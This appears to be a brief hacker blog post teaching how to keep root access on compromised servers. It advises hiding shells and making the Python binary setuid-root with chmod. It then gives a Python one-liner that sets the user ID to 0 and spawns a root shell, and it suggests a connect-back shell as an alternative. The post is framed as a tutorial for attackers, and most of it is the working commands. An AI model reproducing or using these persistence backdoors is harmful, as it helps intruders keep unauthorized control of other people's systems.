Ok, I'm gonna teach you how to do something
really sneaky that people don't usually look for to backdoor your roots
so you can keep them. First make sure you have a few shells hidden so if
you get locked out you can get back in.
(This is just a quick tutorial i ll post a HQ Detailed one soon)
Next you just want to
Command:-
chmod 4755 or chmod +s /usr/bin/py
Now, anytime you run python you will have root!
Command:-
python -c "z=__import__('os'); z.setuid(0); z.system('sh')"
or Just use a py connect-back shell and you'll have root.
0 comments:
Post a Comment